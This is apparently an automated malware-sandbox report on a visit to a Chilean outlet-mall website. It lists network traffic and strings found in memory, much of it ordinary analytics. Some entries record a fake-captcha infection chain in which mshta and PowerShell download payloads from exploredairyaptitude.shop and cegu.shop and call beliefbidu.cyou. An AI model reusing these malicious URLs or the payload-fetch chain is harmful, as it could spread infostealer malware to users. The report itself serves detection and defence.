Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_decide?token=10611.JUF1MuFmiPyXUm6a1MGVEyQu2AO5moUOd2gL-lv6Tu7uTtcczDwA_gJoVPe5P3XwqlxSbVa49buIFyXpVKKBlYQdmxwHPu4Ql4ug-i58flYmL5AYtUjxT1NSgqYQu7LMJBX37AM4GChZwoeMgYqGO9RO4fV1vcMeCU6ngQgz914bA2v6Yzo3qxAQIV8hBzU06pnt_qkkOf7izUOX-8YlBVdZM4XWKv0PMmWzSggnusE%2C.bd5VTRoSpAFtzdtuQKoJYfqEvyw%2C HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sync_cookie_csrf=2365612593fake; yashr=5031234511736538577; _yasc=XBTvOcOUmm/LrRfLgjP/nG6xnbj6/8NZFk5mMYsug+3q5nXNyN5CUV2AOFKuT12L+c73; yabs-sid=2548642991736538578; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjE0OSIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xNDkiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjE0OSIi; yandexuid=4946145631736538575; yuidss=4946145631736538575; i=0DTSXy4N6vaaSNZFE+25XDO2cNJfdtSe9bCz+90AJvh1PdOtH4dScd2pPyFAEIyAAawlENF9ohteu9YPpSJL3SqzA/U=; yp=1736624979.yu.5374458211736538577; ymex=1739130579.oyu.5374458211736538577; sync_cookie_ok=synced
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/05/cropped-favicon-32x32.png HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://patiooutletmaipu.cl/tiendas/head/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323; _ga=GA1.1.1483336929.1736538575; _ga_ZHVTPD4NLB=GS1.1.1736538574.1.0.1736538574.0.0.0; _ga_CH16T48972=GS1.1.1736538574.1.0.1736538574.60.0.0; _ym_uid=1736538575118140447; _ym_d=1736538575; _tt_enable_cookie=1; _ttp=7d6EZ9-9EXeo-iqVP65we3elJDy.tt.1; _fbp=fb.1.1736538576130.896064100752492762; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /clmap/99162160?page-url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&pointer-click=rn%3A786155015%3Ax%3A35108%3Ay%3A39789%3At%3A45%3Ap%3A%3FAAA1%3AX%3A517%3AY%3A455&browser-info=u%3A1736538575118140447%3Av%3A1551%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Arqnl%3A1%3Ast%3A1736538580&t=gdpr(14)ti(1) HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://patiooutletmaipu.clSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sync_cookie_csrf=2365612593fake; yashr=5031234511736538577; yabs-sid=2548642991736538578; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjE0OSIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xNDkiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjE0OSIi; yandexuid=4946145631736538575; yuidss=4946145631736538575; i=0DTSXy4N6vaaSNZFE+25XDO2cNJfdtSe9bCz+90AJvh1PdOtH4dScd2pPyFAEIyAAawlENF9ohteu9YPpSJL3SqzA/U=; yp=1736624979.yu.5374458211736538577; ymex=1739130579.oyu.5374458211736538577; sync_cookie_ok=synced
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/05/cropped-favicon-32x32.png HTTP/1.1Host: patiooutletmaipu.clConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323; _ga=GA1.1.1483336929.1736538575; _ga_ZHVTPD4NLB=GS1.1.1736538574.1.0.1736538574.0.0.0; _ga_CH16T48972=GS1.1.1736538574.1.0.1736538574.60.0.0; _ym_uid=1736538575118140447; _ym_d=1736538575; _tt_enable_cookie=1; _ttp=7d6EZ9-9EXeo-iqVP65we3elJDy.tt.1; _fbp=fb.1.1736538576130.896064100752492762; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /clmap/99162160?page-url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&pointer-click=rn%3A786155015%3Ax%3A35108%3Ay%3A39789%3At%3A45%3Ap%3A%3FAAA1%3AX%3A517%3AY%3A455&browser-info=u%3A1736538575118140447%3Av%3A1551%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Arqnl%3A1%3Ast%3A1736538580&t=gdpr(14)ti(1) HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sync_cookie_csrf=2365612593fake; yashr=5031234511736538577; _yasc=XBTvOcOUmm/LrRfLgjP/nG6xnbj6/8NZFk5mMYsug+3q5nXNyN5CUV2AOFKuT12L+c73; yabs-sid=2548642991736538578; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjE0OSIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xNDkiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjE0OSIi; yandexuid=4946145631736538575; yuidss=4946145631736538575; i=0DTSXy4N6vaaSNZFE+25XDO2cNJfdtSe9bCz+90AJvh1PdOtH4dScd2pPyFAEIyAAawlENF9ohteu9YPpSJL3SqzA/U=; sync_cookie_ok=synced; yp=1736624980.yu.4946145631736538575; ymex=1739130580.oyu.4946145631736538575
Source: global traffic	HTTP traffic detected: GET /awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323 HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: solve.bogx.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /sh_rdeqi.mp4 HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: b1.exploredairyaptitude.shop
Source: global traffic	HTTP traffic detected: GET /sh.bin HTTP/1.1Host: d1.exploredairyaptitude.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop

Source: chromecache_190.1.dr	String found in binary or memory: });</script></div><div id="div_block-13-2582" class="ct-div-block" ><div id="_social_icons-14-2582" class="oxy-social-icons" ><a href='https://www.facebook.com/PatioOutlets/?show_switched_toast=0&show_invite_to_follow=0&show_switched_tooltip=0&show_podcast_settings=0&show_community_review_changes=0&show_community_rollback=0&show_follower_visibility_disclosure=0&locale=ms_MY' target='_blank' class='oxy-social-icons-facebook'><svg><title>Visit our Facebook</title><use xlink:href='#oxy-social-icons-icon-facebook'></use></svg></a><a href='https://www.instagram.com/patiooutlets/?igshid=MzRlODBiNWFlZA%3D%3D' target='_blank' class='oxy-social-icons-instagram'><svg><title>Visit our Instagram</title><use xlink:href='#oxy-social-icons-icon-instagram'></use></svg></a></div><a id="link-36-2582" class="ct-link" href="http://www.tiktok.com/@patiooutletcl" ><img id="image-35-2582" alt="TikTok-Icon" src="https://patiooutletmaipu.cl/wp-content/uploads/2023/09/TikTok-Icon.png" class="ct-image" srcset="https://patiooutletmaipu.cl/wp-content/uploads/2023/09/TikTok-Icon.png 801w, https://patiooutletmaipu.cl/wp-content/uploads/2023/09/TikTok-Icon-300x300.png 300w, https://patiooutletmaipu.cl/wp-content/uploads/2023/09/TikTok-Icon-150x150.png 150w, https://patiooutletmaipu.cl/wp-content/uploads/2023/09/TikTok-Icon-768x767.png 768w" sizes="(max-width: 801px) 100vw, 801px" /></a></div></div></div></footer><div id="div_block-23-2582" class="ct-div-block" ><div id="div_block-24-2582" class="ct-div-block oxel_floating_icon_menu" ><div id="code_block-25-2582" class="ct-code-block" ><!-- --></div><div id="fancy_icon-26-2582" class="ct-fancy-icon oxel_floating_icon_menu__main_icon" ><svg id="svg-fancy_icon-26-2582"><use xlink:href="#FontAwesomeicon-home"></use></svg></div><div id="div_block-27-2582" class="ct-div-block oxel_floating_icon_menu__hidden_links" ><a id="link-28-2582" class="ct-link oxel_floating_icon_menu__row" href="https://maps.app.goo.gl/xzAv5Q4jG42cNRNQA" target="_self" ><div id="text_block-29-2582" class="ct-text-block oxel_floating_icon_menu__label" > equals www.facebook.com (Facebook)
Source: chromecache_224.1.dr, chromecache_181.1.dr, chromecache_197.1.dr, chromecache_175.1.dr, chromecache_206.1.dr, chromecache_213.1.dr	String found in binary or memory: Math.round(q);t["gtm.videoElapsedTime"]=Math.round(f);t["gtm.videoPercent"]=r;t["gtm.videoVisible"]=u;return t},Nk:function(){e=nb()},Kd:function(){d()}}};var Vb=wa(["data-gtm-yt-inspected-"]),QE=["www.youtube.com","www.youtube-nocookie.com"],RE,SE=!1; equals www.youtube.com (Youtube)
Source: chromecache_224.1.dr, chromecache_181.1.dr, chromecache_197.1.dr, chromecache_175.1.dr, chromecache_206.1.dr, chromecache_213.1.dr	String found in binary or memory: c?"runIfCanceled":"runIfUncanceled",[]);if(!g.length)return!0;var k=vC(a,c,e);U(121);if(k["gtm.elementUrl"]==="https://www.facebook.com/tr/")return U(122),!0;if(d&&f){for(var m=yb(b,g.length),n=0;n<g.length;++n)g[n](k,m);return m.done}for(var p=0;p<g.length;++p)g[p](k,function(){});return!0},yC=function(){var a=[],b=function(c){return bb(a,function(d){return d.form===c})};return{store:function(c,d){var e=b(c);e?e.button=d:a.push({form:c,button:d})},get:function(c){var d=b(c);return d?d.button:null}}}, equals www.facebook.com (Facebook)
Source: chromecache_224.1.dr, chromecache_181.1.dr, chromecache_197.1.dr, chromecache_175.1.dr, chromecache_206.1.dr, chromecache_213.1.dr	String found in binary or memory: if(!(e\|\|f\|\|g\|\|k.length\|\|m.length))return;var p={Kh:e,Ih:f,Jh:g,ri:k,si:m,bf:n,Mb:b},q=A.YT;if(q)return q.ready&&q.ready(d),b;var r=A.onYouTubeIframeAPIReady;A.onYouTubeIframeAPIReady=function(){r&&r();d()};H(function(){for(var u=E.getElementsByTagName("script"),v=u.length,t=0;t<v;t++){var w=u[t].getAttribute("src");if(aF(w,"iframe_api")\|\|aF(w,"player_api"))return b}for(var x=E.getElementsByTagName("iframe"),y=x.length,B=0;B<y;B++)if(!SE&&ZE(x[B],p.bf))return lc("https://www.youtube.com/iframe_api"), equals www.youtube.com (Youtube)
Source: chromecache_220.1.dr	String found in binary or memory: return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var b=f.getFbeventsModules("signalsFBEventsGetTier"),c=d();function d(){try{if(a.trustedTypes&&a.trustedTypes.createPolicy){var b=a.trustedTypes;return b.createPolicy("facebook.com/signals/iwl",{createScriptURL:function(b){var c=typeof a.URL==="function"?a.URL:a.webkitURL;c=new c(b);c=c.hostname.endsWith(".facebook.com")&&c.pathname=="/signals/iwl.js";if(!c)throw new Error("Disallowed script URL");return b}})}}catch(a){}return null}e.exports=function(a,d){d=b(d);d=d==null?"www.facebook.com":"www."+d+".facebook.com";d="https://"+d+"/signals/iwl.js?pixel_id="+a;if(c!=null)return c.createScriptURL(d);else return d}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_220.1.dr	String found in binary or memory: return function(f,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=/^https:\/\/www\.([A-Za-z0-9\.]+)\.facebook\.com\/tr\/?$/,b=["https://www.facebook.com/tr","https://www.facebook.com/tr/"];e.exports=function(c){if(b.indexOf(c)!==-1)return null;var d=a.exec(c);if(d==null)throw new Error("Malformed tier: "+c);return d[1]}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_220.1.dr	String found in binary or memory: return function(f,g,h,i){var j={exports:{}};j.exports;(function(){"use strict";var a={ENDPOINT:"https://www.facebook.com/tr/",INSTAGRAM_TRIGGER_ATTRIBUTION:"https://www.instagram.com/tr/",AEM_ENDPOINT:"https://www.facebook.com/.well-known/aggregated-event-measurement/",GPS_ENDPOINT:"https://www.facebook.com/privacy_sandbox/pixel/register/trigger/",TOPICS_API_ENDPOINT:"https://www.facebook.com/privacy_sandbox/topics/registration/"};j.exports=a})();return j.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_190.1.dr	String found in binary or memory: src="https://www.facebook.com/tr?id=417760590628659&ev=PageView&noscript=1" equals www.facebook.com (Facebook)
Source: chromecache_224.1.dr, chromecache_181.1.dr, chromecache_197.1.dr, chromecache_175.1.dr, chromecache_206.1.dr, chromecache_213.1.dr	String found in binary or memory: var cE=function(a,b,c,d,e){var f=TB("fsl",c?"nv.mwt":"mwt",0),g;g=c?TB("fsl","nv.ids",[]):TB("fsl","ids",[]);if(!g.length)return!0;var k=YB(a,"gtm.formSubmit",g),m=a.action;m&&m.tagName&&(m=a.cloneNode(!1).action);U(121);if(m==="https://www.facebook.com/tr/")return U(122),!0;k["gtm.elementUrl"]=m;k["gtm.formCanceled"]=c;a.getAttribute("name")!=null&&(k["gtm.interactedFormName"]=a.getAttribute("name"));e&&(k["gtm.formSubmitElement"]=e,k["gtm.formSubmitElementText"]=e.value);if(d&&f){if(!DA(k,FA(b, equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: patiooutletmaipu.cl
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: data-seed-prebsc-1-s1.bnbchain.org
Source: global traffic	DNS traffic detected: DNS query: _8545._https.data-seed-prebsc-1-s1.bnbchain.org
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: connect.facebook.net
Source: global traffic	DNS traffic detected: DNS query: analytics.tiktok.com
Source: global traffic	DNS traffic detected: DNS query: mc.yandex.ru
Source: global traffic	DNS traffic detected: DNS query: analytics.google.com
Source: global traffic	DNS traffic detected: DNS query: td.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: mc.yandex.com
Source: global traffic	DNS traffic detected: DNS query: stats.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: solve.bogx.org
Source: global traffic	DNS traffic detected: DNS query: b1.exploredairyaptitude.shop
Source: global traffic	DNS traffic detected: DNS query: d1.exploredairyaptitude.shop
Source: global traffic	DNS traffic detected: DNS query: beliefbidu.cyou
Source: global traffic	DNS traffic detected: DNS query: cegu.shop

Source: unknown

HTTP traffic detected: POST /g/collect?v=2&tid=G-CH16T48972&gtm=45je5190v9178914784za200zb9179349893&_p=1736538571179&_gaz=1&gcd=13l3l3l3l1l1&npa=0&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&cid=1483336929.1736538575&ul=en-us&sr=1280x1024&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&are=1&pae=1&frm=0&pscdl=noapi&_s=1&sid=1736538574&sct=1&seg=0&dl=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&dt=Head%20-%20Patio%20Outlet%20Maip%C3%BA&en=page_view&_fv=1&_ss=1&_ee=1&tfd=8047 HTTP/1.1Host: analytics.google.comConnection: keep-aliveContent-Length: 0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://patiooutletmaipu.clX-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: powershell.exe, 00000014.00000002.2207984396.0000000008620000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000014.00000002.2207984396.0000000008620000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microaB
Source: powershell.exe, 0000001E.00000002.2608525720.000000000335F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft#
Source: powershell.exe, 00000014.00000002.2207984396.0000000008620000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microwC
Source: chromecache_188.1.dr	String found in binary or memory: http://fontawesome.com
Source: chromecache_188.1.dr	String found in binary or memory: http://fontawesome.com/license
Source: powershell.exe, 00000012.00000002.1407196748.00000296F3A2E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1407196748.00000296F3B6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1386205881.00000296E539C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2113443255.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000012.00000002.1386205881.00000296E5220000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2113443255.0000000004D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000014.00000002.2113443255.0000000004D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngp
Source: powershell.exe, 00000012.00000002.1386205881.00000296E39B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2113443255.0000000004C41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: chromecache_223.1.dr, chromecache_218.1.dr	String found in binary or memory: http://tizen.org/system/tizenid
Source: powershell.exe, 00000012.00000002.1386205881.00000296E4E35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000012.00000002.1386205881.00000296E5220000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2113443255.0000000004D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000014.00000002.2113443255.0000000004D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlp
Source: chromecache_190.1.dr	String found in binary or memory: http://www.headchile.com/
Source: chromecache_213.1.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk?
Source: powershell.exe, 00000014.00000002.2113443255.0000000004C41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000012.00000002.1386205881.00000296E39B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: chromecache_190.1.dr	String found in binary or memory: https://analytics.tiktok.com/i18n/pixel/events.js
Source: chromecache_190.1.dr	String found in binary or memory: https://api.w.org/
Source: mshta.exe, 00000011.00000002.1459899144.0000021B94CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://b1.exploredairyaptitude.shop/
Source: mshta.exe, 00000011.00000002.1459899144.0000021B94CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.1461216080.0000021B98C18000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.1457963232.000002139217B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1438277357.0000021B98C18000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1431390950.000002139215D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://b1.exploredairyaptitude.shop/sh_rdeqi.mp4
Source: mshta.exe, 00000011.00000003.1448599586.0000021B94D9E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.1460850932.0000021B94DA5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1432057811.0000021B94D9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://b1.exploredairyaptitude.shop/sh_rdeqi.mp4...
Source: mshta.exe, 00000011.00000002.1459899144.0000021B94CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://b1.exploredairyaptitude.shop/sh_rdeqi.mp4...?
Source: mshta.exe, 00000011.00000002.1461482147.0000021B98CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1438530821.0000021B98CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://b1.exploredairyaptitude.shop/sh_rdeqi.mp42cLMEMh
Source: mshta.exe, 00000011.00000002.1459899144.0000021B94CD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://b1.exploredairyaptitude.shop/sh_rdeqi.mp469
Source: mshta.exe, 00000011.00000003.1437490578.000002139217B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.1457963232.000002139217B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1431390950.000002139215D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://b1.exploredairyaptitude.shop/sh_rdeqi.mp4C:
Source: mshta.exe, 00000011.00000002.1459899144.0000021B94CD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://b1.exploredairyaptitude.shop/sh_rdeqi.mp4Q9
Source: mshta.exe, 00000011.00000003.1440902304.00000213920BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://b1.exploredairyaptitude.shop/sh_rdeqi.mp4b6-4f92-a196-add1c5c06323
Source: mshta.exe, 00000011.00000003.1445295612.0000021B98E05000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1437120402.0000021B98E05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://b1.exploredairyaptitude.shop/sh_rdeqi.mp4https://b1.exploredairyaptitude.shop/sh_rdeqi.mp4
Source: mshta.exe, 00000011.00000003.1432057811.0000021B94D5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.1449863403.0000021B94D5E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.1460653940.0000021B94D5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://b1.exploredairyaptitude.shop/sh_rdeqi.mp4wpg
Source: mshta.exe, 00000011.00000002.1459899144.0000021B94CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://b1.exploredairyaptitude.shop/sh_rdeqi.mp4~
Source: powershell.exe, 0000001E.00000002.2623555465.00000000033CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beliefbidu.cyou/
Source: powershell.exe, 0000001E.00000002.2623555465.00000000033CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beliefbidu.cyou/T3%0
Source: powershell.exe, 0000001E.00000002.2608525720.000000000335F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beliefbidu.cyou/api
Source: powershell.exe, 0000001E.00000002.2608525720.000000000335F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beliefbidu.cyou/api:
Source: chromecache_224.1.dr, chromecache_181.1.dr, chromecache_197.1.dr, chromecache_175.1.dr, chromecache_206.1.dr, chromecache_213.1.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/#
Source: powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/7
Source: powershell.exe, 0000001E.00000002.2635096166.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2608525720.000000000330D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txt
Source: powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txt)
Source: powershell.exe, 0000001E.00000002.2603608437.0000000000D0B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txtL
Source: powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txt_
Source: powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/E
Source: powershell.exe, 0000001E.00000002.2623555465.00000000033AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/S
Source: chromecache_211.1.dr, chromecache_220.1.dr	String found in binary or memory: https://connect.facebook.net/
Source: chromecache_190.1.dr	String found in binary or memory: https://connect.facebook.net/en_US/fbevents.js
Source: chromecache_211.1.dr, chromecache_220.1.dr	String found in binary or memory: https://connect.facebook.net/log/fbevents_telemetry/
Source: powershell.exe, 00000014.00000002.2113443255.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000014.00000002.2113443255.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000014.00000002.2113443255.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000014.00000002.2113443255.0000000004D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d1.exploredairyaptitude.shop
Source: powershell.exe, 00000014.00000002.2192814314.0000000007300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d1.exploredairyaptitude.shop/sh.bin
